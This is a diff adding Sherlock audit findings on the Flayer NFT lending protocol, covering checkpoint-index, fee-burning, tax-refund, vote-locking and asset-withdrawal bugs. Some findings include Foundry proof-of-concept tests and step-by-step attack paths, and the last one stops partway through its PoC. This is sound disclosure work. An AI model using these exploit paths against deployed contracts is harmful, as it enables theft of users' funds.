++ _listings.protectedListings().canWithdrawAsset(_collection, _tokenId) != address(0)) {
+ return true;
+ }
+
+ return false;
+ }
+```
\ No newline at end of file
diff --git a/001/386.md b/001/386.md
new file mode 100644
index 0000000..7be5159
--- /dev/null
+++ b/001/386.md
@@ -0,0 +1,154 @@
+Fancy Emerald Lark
+
+High
+
+# Users can manipulate the `unlock price` and their `ProtectedListingHealth`
+
+## Summary
+Users can manipulate the `unlock price` and its `ProtectedListingHealth` by creating listings on the same timestamp of the latest checkpoint update. The more gap between their listing creation and next checkpoint update time, the more manipulation of their listing health they can do.
+
+Root cause: returning index instead of index -1 on one of the create checkpoint cases.
+See the recommendation section for faster understanding.
+
+## Vulnerability Detail
+A checkpoint is created to keep track of the utilization rate depending upon the collection token supply and the number of listings count. So, `ProtectedListings._createCheckpoint` is used to create them, and `_createCheckpoint` is used on the following functions, `ProtectedListings.liquidateProtectedListing`, `ProtectedListings.unlockProtectedListing`, `ProtectedListings.createListings`, &&&`Listings.cancelListings`, `Listings.fillListings`, `Listings.createListings` via `ProtectedListings.createCheckpoint` external call.
+
+And the handling of 3 cases is done in `_createCheckpoint`,
+ 1. first time when index == 0 on line 546 and new checkpoint is pushed.
+ 2. when the timestamp of the previous checkpoint and current checkpoint is same, so that only `compoundedFactor` is updated and no checkpoint is pushed, but next index is returned on line 570 which is supposed to be index - 1.
+ 3. when its a different timestamp, so a new checkpoint is pushed.
+
+
+**Issue flow:**
+1. at t = 50 , a checkpoint at index 99 is created by someone's `unlockProtectedListing` call, and compounding factor is 2e18
+2. At same timestamp, may be different block/same, someone calls `createListings`, but here the checkpoint index returned is 100 and compound factor is updated to 2.1e18 and suer's listing holds the checkpoint index as 100 on line 181 below.
+3. Then for 2 days the checkpoint is not at all updated, the length is only at 100, but the last available index is 99. And now someone update the checkpoint by any possible calls, so now there's 101 length and last available index is 100 and the compounding factor is 2.5e18 now.
+4. Now that user who got allotted index 100 on create listing will point by saying that his listing was created at this chekpoint index 100 where compounding factor is 2.5e18, but actually the index should be 2 days before at 99 index (100 length) where compounding factor is 2.1e18.
+
+So, the unlock price of teh user's listing is manipulated by (2.5e18 - 2.1e18 compounding factor), which in turn manipulates the `getProtectedListingHealth` of that listing, so the interest of these 2 days is not considered and the listing will take more time (2days extra). Also its a loss of fees to the pool and manipulation of the listing health. The more gap, the higher the impact. It is easier to block stuff this kind of transaction by bots because they can submit transactions on every block, but on first line, they will check if the latest checkpoint has same timestamp as live timestamp and they can do this whole day on base chain with near to zero gas.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L564-L567
+
+```solidity
+ProtectedListings.sol
+
+531: function _createCheckpoint(address _collection) internal returns (uint index_) {
+532: // Determine the index that will be created
+533: index_ = collectionCheckpoints[_collection].length;
+537:
+538: // If this is our first checkpoint, then our logic will be different as we won't have
+540: if (index_ == 0) {
+---- SNIP ----
+546: collectionCheckpoints[_collection].push(
+547: Checkpoint({
+548: compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+---- SNIP ----
+552: }),
+553: timestamp: block.timestamp
+554: })
+555: );
+556:
+557: return index_;
+558: }
+
+561: Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+562:
+563: // If no time has passed in our new checkpoint, then we just need to update the
+564: // utilization rate of the existing checkpoint.
+568: if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+569: collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+570: >>> return index_;
+571: }
+572:
+574: collectionCheckpoints[_collection].push(checkpoint);
+575: }
+
+```
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L137-L143
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L202
+
+```solidity
+94: function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+---- SNIP ----
+100:
+101: // Loop over the unique listing structures
+102: for (uint i; i < _createListings.length; ++i) {
+---- SNIP ----
+111: checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+112: assembly { checkpointIndex := tload(checkpointKey) }
+113: if (checkpointIndex == 0) {
+114: >>> checkpointIndex = _createCheckpoint(listing.collection);
+115: assembly { tstore(checkpointKey, checkpointIndex) }
+116: }
+117:
+119: tokensIdsLength = listing.tokenIds.length;
+120: >>> tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+122:
+
+---- SNIP ----
+134: }
+135: }
+
+
+177: function _mapListings(CreateListing memory _createListing, uint _tokenIds, uint _checkpointIndex) internal returns (uint tokensReceived_) {
+178: // Loop through our tokens
+179: for (uint i; i < _tokenIds; ++i) {
+180: // Update our request with the current checkpoint and store the listing
+181: >>> _createListing.listing.checkpoint = _checkpointIndex;
+182: _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+---- SNIP ----
+188: }
+189: }
+
+611: function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+---- SNIP ----
+616: unlockPrice_ = locker.taxCalculator().compound({
+617: _principle: listing.tokenTaken,
+618: >>> _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+619: _currentCheckpoint: _currentCheckpoint(_collection)
+620: });
+621: }
+
+498: function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+501: >>> return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+502: }
+
+```
+
+## Impact
+Loss of fees generation to the protocol (hence loss of funds). And the likelihood is very easy.
+Users can manipulate the `unlock price` and its `ProtectedListingHealth` by creating listings on the same timestamp of the latest checkpoint update. The more gap between their listing creation and next checkpoint update time, the more manipulation of their listing health they can do.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L137-L143
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L202
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L564-L567
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L497-L500
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L607-L614
+
+## Tool used
+
+Manual Review
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L564-L567
+
+```diff
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+---- SNIP ----
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return index_ - 1;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
\ No newline at end of file
diff --git a/001/387.md b/001/387.md
new file mode 100644
index 0000000..f99fa5b
--- /dev/null
+++ b/001/387.md
@@ -0,0 +1,83 @@
+Fancy Emerald Lark
+
+Medium
+
+# Fees are burnt instead of deposited to uniswap implementation during unlocks
+
+## Summary
+The burnt amount is more than intended on `ProtectedListings.unlockProtectedListing`. The fees(tax) is also burnt, but they should have been sent to the uniswap implementation.deposit fees for the pool stakers (LPs).
+
+Imapct: loss of fee / potential intended yield generation to the LPs
+Root casue: wrong mechanism
+
+Look at the similar [Listings.cancelListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L451-L459), where the fees is charged and not burnt. But sent to uniswap implementation queuing for next donation to the uniV4 LPs.
+
+## Vulnerability Detail
+
+Issue flow :
+1. User creates a listing and tokens taken is 0.90 ether, max is 0.95 ether.
+2. After 2 days, the user comes back, his unlock price is 0.92 ether now, so 0.02 ether of tax is due.
+3. So, on line 287 and 288, the fee will be 0.92 ether and that much collection tokens are burned from user.
+4. Again, on line 293, (1 ether - token taken) = (1 - 0.9) = 0.1 ether is burned from the protected listing contract istelf.
+
+If you calculate the total burnt amount, its 0.92 from user and 0.1 from contract, so total burnt is 1.02 ether.
+This is wrong, the correct flow would be to burn only 0.9 from user and remaining tax of 0.02 ether for those 2 days should be sent to the uniswap implementation to deposit it as fees for the uniV4 pool. And the (1 - 0.9) = 0.1 ether burnt from contarct is the correct flow. So, noe this new way would result in (0.9 + 0.1) = 1 ether burnt and 0.02 is deposited as fees.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L304-L308
+
+```solidity
+ProtectedListings.sol
+
+270: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+271: // Ensure this is a protected listing
+272: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+---- SNIP ----
+285:
+286: // Repay the loaned amount, plus a fee from lock duration
+287: >> uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+288: >> collectionToken.burnFrom(msg.sender, fee);
+291:
+292: // We need to burn the amount that was paid into the Listings contract
+293: >> collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+294:
+295: // Remove our listing type
+296: unchecked { --listingCount[_collection]; }
+297:
+---- SNIP ----
+314: }
+
+```
+
+
+## Impact
+There will always be unlocks of listings in protected listing.sol, and the fees has to be deposited to LPs instead of burning them. Its a loss of fees/potential yeild. And the likelihood is always because 8/10 listings will be unlocked and only 2 - 3 / 10 will be liquidated.
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L304-L308
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L304-L308
+
+```diff
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ ---- SNIP ----
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+- collectionToken.burnFrom(msg.sender, fee);
++ collectionToken.burnFrom(msg.sender, tokenTaken);
+
++ implementation.depositFees(_collection, 0, fee - tokenTaken);
+
+ // We need to burn the amount that was paid into the Listings contract
+ collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ ---- SNIP ----
+ }
+```
\ No newline at end of file
diff --git a/001/388.md b/001/388.md
new file mode 100644
index 0000000..2ecedd2
--- /dev/null
+++ b/001/388.md
@@ -0,0 +1,167 @@
+Melodic Pickle Goose
+
+High
+
+# Tax is resolved on liquidation listings when they are relisted
+
+### Summary
+
+A liquidation listing is treated as a normal batch auction listing – can be filled or relisted. Filling a liquidation listing, however, does **not** refund tax to the owner of the listing. On the other hand, relisting a liquidation listing doesn't take this into account and would happily send fee to the **UniswapImplementation** contract and refund tax to the owner of the listing in a situation where the owner never has actually paid tax on the protected listing, breaking a main protocol invariant.
+
+
+### Root Cause
+
+There is no check in the **Listings**#`relist()` function if the listing being relisted is a liquidation one or not which makes the relisting functionality process the tax for the listing. Liquidation listings are created only for protected listings once their collateral goes underwater. A main protocol invariant, however, is that tax is not paid on protected listings as the code shows and the sponsor also confirmed that.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+→ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+ if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax in total that will have been paid for this listing
+ uint taxPaid = getListingTaxRequired(_listing, _collection);
+ if (taxPaid == 0) {
+ return (fees_, refund_);
+ }
+
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+→ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+
+ // Send paid tax fees to the {FeeCollector}
+ unchecked {
+ fees_ = (taxPaid > refund_) ? taxPaid - refund_ : 0;
+ }
+
+ if (_action) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ if (fees_ != 0) {
+ IBaseImplementation implementation = locker.implementation();
+
+ collectionToken.approve(address(implementation), fees_);
+ implementation.depositFees(_collection, 0, fees_);
+ }
+
+ // If there is tax to refund, then allocate it to the user via escrow
+ if (refund_ != 0) {
+→ _deposit(_listing.owner, address(collectionToken), refund_);
+ }
+ }
+ }
+```
+
+
+### Internal pre-conditions
+
+Have a protected listing that's liquidated and thus a liquidation batch auction listing is created for it.
+
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+Not needed.
+
+### Impact
+
+Whenever a user borrows against an NFT by creating a protected listing and that listing gets liquidated, that same user will get refunded tax they've never paid in the first place when that NFT gets relisted. The user will effectively extract value out of thin air in the form of CollectionTokens which they can later convert to WETH or use to obtain another NFT.
+
+This will also result in more fees being sent to the **UniswapImplementation** contract or if there aren't enough CollectionTokens for that collection available in the **Listings** contract it'll make relisting the NFT revert.
+
+
+### PoC
+
+1. John has an NFT from a collection and creates a protected listing for it, borrowing up to 0.95e18 CollectionTokens.
+2. As time goes on the loan accrues interest and goes underwater.
+3. A liquidator comes in and liquidates the listing by calling **ProtectedListings**#`liquidateProtectedListing()`.
+4. Now a batch auction listing with a `duration` of 4 days and a `floorMultiple` of `400` is created in the **Listings** contract and John is set as the `owner` of the liquidation listing.
+5. Dillon sees the listing and decides to relist it for a higher price, so he calls **Listings**#`relist()`.
+6. The function proceeds to resolve the listing tax and refunds the appropriate amount of tax to the owner of the listing – John and also sends fee to the **UniswapImplementation** contract.
+7. John has never paid tax on the protected listing but now tax is being resolved for that same listing.
+
+
+### Mitigation
+
+Just as in `_fillListing()` and `reserve()`, check if the listing is a liquidation one and if it is do **not** resolve its tax.
+```diff
+diff --git a/flayer/src/contracts/Listings.sol b/flayer/src/contracts/Listings.sol
+index eb39e7a..fb65c45 100644
+--- a/flayer/src/contracts/Listings.sol
++++ b/flayer/src/contracts/Listings.sol
+@@ -641,9 +641,11 @@ contract Listings is IListings, Ownable, ReentrancyGuard, TokenEscrow {
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+- (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+- if (_fees != 0) {
+- emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ if (!_isLiquidation[_collection][_tokenId]) {
++ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
++ if (_fees != 0) {
++ emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ }
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+
+```
diff --git a/001/389.md b/001/389.md
new file mode 100644
index 0000000..d1995c3
--- /dev/null
+++ b/001/389.md
@@ -0,0 +1,210 @@
+Clean Snowy Mustang
+
+Medium
+
+# Incorrect checkpoint index might be returned when snapshots the current checkpoint
+
+## Summary
+Incorrect checkpoint index might be returned when snapshots the current checkpoint.
+
+## Vulnerability Detail
+
+When a listing is created, a checkpoint will be snapshotted for the specified collection.
+
+[Listings.sol#L161-L162](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L161-L162):
+```solidity
+ // Create our checkpoint as utilisation rates will change
+ protectedListings.createCheckpoint(listing.collection);
+```
+
+When the listing is reserved and a protected listing is created, protocol will update checkpoint for the collection if it has not been done yet for the listing collection.
+
+[ProtectedListings.sol#L132-L139](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L132-L139):
+```solidity
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+@> checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+```
+
+In [_createCheckpoint()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530), if there are existing checkpoints, then a new checkpoint will be created and pushed after the previous existing checkpoint, and the index of the new checkpoint is the length of all the existing checkpoints.
+
+[ProtectedListings.sol#L532](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L532):
+```solidity
+ index_ = collectionCheckpoints[_collection].length;
+```
+[ProtectedListings.sol#L559-L560](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L559-L560):
+```solidity
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+```
+[ProtectedListings.sol#L569-L570](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L569-L570):
+```solidity
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+```
+
+The index of the new checkpoint will be assigned to the protected listing.
+
+[ProtectedListings.sol#L141-L143](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L141-L143):
+```solidity
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+```
+[ProtectedListings.sol#L201-L203](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L201-L203):
+```solidity
+ // Update our request with the current checkpoint and store the listing
+ _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+```
+
+At the same time in `_createCheckpoint()`, If no time has passed, then no new checkpoint is created, protocol only updates the utilization rate of the existing checkpoint.
+
+[ProtectedListings.sol#L562-L567](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L562-L567):
+```solidity
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+@> return index_;
+ }
+```
+
+However, the returned checkpoint index is still the length of all the existing checkpoints, and the index will be stored in the protected listing. This is problematic and may cause unexpected errors.
+
+Consider the following scenario:
+1. Bob creates a Listing, a new checkpoint is created and checkpoint index is 0;
+2. Later Alice submits to reserve Bob's Listing, at the same time, Cathy creates another Listing against the same collection;
+3. Cathy's transaction gets executed first, a new checkpoint is created and checkpoint index is 1;
+4. Alice's transaction get executed at the same block, hence no time has passed, no new checkpoint is created but 2 is returned as the checkpoint index;
+5. At the moment, there are only two checkpoints, the max index is supposed to be 1, however, the protected listing is stored with index 2;
+6. As a result, when Alice submits to unlock the protected listing, the transaction will revet due to `out-of-bounds` error when the protocol tries to calculate the unlock price.
+[ProtectedListings.sol#L611-L616](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L611-L616):
+```solidity
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ @> _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+```
+
+Please run the PoC in ProtectedListings.t.sol to verify:
+```solidity
+ function testAudit_IncorrectCheckpointIndex() public {
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ address bob = makeAddr("Bob");
+ uint256 tokenId = 888;
+ erc721a.mint(bob, tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(bob),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 200
+ });
+
+ // Bob creates a listing
+ vm.startPrank(bob);
+ erc721a.approve(address(listings), tokenId);
+ IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
+ createListings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: listing
+ });
+ listings.createListings(createListings);
+ vm.stopPrank();
+
+
+ vm.warp(block.timestamp + 1 days);
+
+
+ address cathy = makeAddr("Cathy");
+ erc721a.mint(cathy, 111);
+
+ listing = IListings.Listing({
+ owner: payable(cathy),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 200
+ });
+
+ // Just before Alice reserves Bob's listing, Cathy happens to create a lising of the same collection
+ vm.startPrank(cathy);
+ erc721a.approve(address(listings), 111);
+ createListings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(111),
+ listing: listing
+ });
+ listings.createListings(createListings);
+ vm.stopPrank();
+
+
+ address alice = makeAddr("Alice");
+ mintCollectionTokens(address(erc721a), alice, 1, 3);
+
+ // Alice reserves Bob's listing
+ vm.startPrank(alice);
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.reserve(address(erc721a), tokenId, 0.2 ether);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Alice tris to unlock the protected listing but failed
+ vm.startPrank(alice);
+ collectionToken.approve(address(protectedListings), type(uint256).max);
+ // panic: array out-of-bounds access
+ vm.expectRevert(stdError.indexOOBError);
+ protectedListings.unlockProtectedListing(address(erc721a), 888, true);
+ vm.stopPrank();
+ }
+
+ function mintCollectionTokens(address collection, address to, uint id, uint count) private {
+ ERC721Mock token = ERC721Mock(collection);
+
+ uint[] memory depositTokenIds = new uint[](count);
+
+ for (uint i; i < count; ++i) {
+ token.mint(address(this), id);
+ depositTokenIds[i] = id;
+ ++id;
+ }
+
+ erc721a.setApprovalForAll(address(locker), true);
+ locker.deposit(collection, depositTokenIds, to);
+ }
+```
+
+## Impact
+
+User won't be able to unlock their protected listings.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-L567
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+If no time has passed when creates checkpoint, return `index - 1` instead of `index`.
+
+[ProtectedListings.sol#L564-L567](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L564-L567):
+```diff
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return index_ - 1;
+ }
+```
\ No newline at end of file
diff --git a/001/391.md b/001/391.md
new file mode 100644
index 0000000..e79fb59
--- /dev/null
+++ b/001/391.md
@@ -0,0 +1,55 @@
+Skinny Coconut Parrot
+
+High
+
+# User's collection tokens may be locked in the `CollectionShutdown.sol` contract if the shutdown process is canceled.
+
+### Summary
+
+When the shutdown process is canceled, the votes will not be returned to the voters. Voters need to manually invoke the `reclaimVote` function to remove their votes and get their tokens back. In `reclaimVote`, voter's votes will be subtracted from the `CollectionShutdownParams.shutdownVotes` ([`CollectionShutdown.sol:369`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369)). However, the subtraction operation will underflow and revert as the `params.shutdownVotes` is set to 0 in the `cancel` function([`CollectionShutdown.sol:403`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403)).
+
+```solidity
+// Function: reclaimVote()
+
+359: CollectionShutdownParams storage params = _collectionParams[_collection];
+ ...
+369: params.shutdownVotes -= uint96(userVotes);
+```
+
+
+```solidity
+// Function: cancel()
+
+403: delete _collectionParams[_collection];
+```
+
+### Root Cause
+
+In [`CollectionShutdown.sol:403`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403), the `shutdownVotes` is reset to 0 which will prevent voters from reclaiming their votes.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The total supply of the collection token has dropped below the shutdown threshold, and someone starts a shutdown process.
+2. Alice votes for the shutdown process.
+3. The total supply of the token has risen above the threshold, and the shutdown process is canceled.
+4. Alice attempts to remove her votes and get her tokens back by invoking the `reclaimVote` function, but the function reverts.
+
+### Impact
+
+If the shutdown process is canceled, voter's tokens may be locked in the `CollectionShutdown.sol` contract until the shutdown process is started again and executed.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+One possible solution is to track those users who vote for the collection's shutdown process, and when the shutdown process is canceled, revoke their votes and return their tokens.
\ No newline at end of file
diff --git a/001/392.md b/001/392.md
new file mode 100644
index 0000000..578488f
--- /dev/null
+++ b/001/392.md
@@ -0,0 +1,150 @@
+Clean Snowy Mustang
+
+High
+
+# Unlocked protected listing asset can be redeemed by any other user
+
+## Summary
+Unlocked protected listing asset can be redeemed by any other user.
+
+## Vulnerability Detail
+
+When a user unlocks a protected listing, they can choose not to receive the asset right away.
+
+[ProtectedListings.sol#L278-L287](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L278-L287):
+```solidity
+ /**
+ * The amount of tokens taken are returned, as well as a fee. The recipient can also
+ * opt to leave the asset inside the contract and withdraw at a later date by calling
+ * the `withdrawProtectedListing` function.
+ *
+ * @param _collection The address of the collection to unlock from
+ * @param _tokenId The token ID to unlock
+@> * @param _withdraw If the user wants to receive the NFT now
+ */
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+```
+
+The user can call [withdrawProtectedListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341) to withdraw the asset anytime they like, protocol ensures only the asset owner can withdraw.
+
+[ProtectedListings.sol#L341-L352](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341-L352):
+```solidity
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // Ensure that the asset has been marked as withdrawable
+@> address _owner = canWithdrawAsset[_collection][_tokenId];
+@> if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+
+ // Mark the asset as withdrawn
+ delete canWithdrawAsset[_collection][_tokenId];
+
+ // Transfer the asset to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
+
+Unfortunately, a malicious user can bypass this restriction and redeem the asset from Locker. The culprit is that protocol deletes the listing object despite user choose to withdraw later.
+
+[ProtectedListings.sol#L313-L314](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L313-L314)
+```solidity
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+```
+
+Please run the PoC in ProtectedListings.t.sol to verify:
+```solidity
+ function testAudit_WithdrawProtected() public {
+ ICollectionToken collectionToken = locker.collectionToken(address(erc721a));
+
+ address alice = makeAddr("Alice");
+ erc721a.mint(alice, 888);
+
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
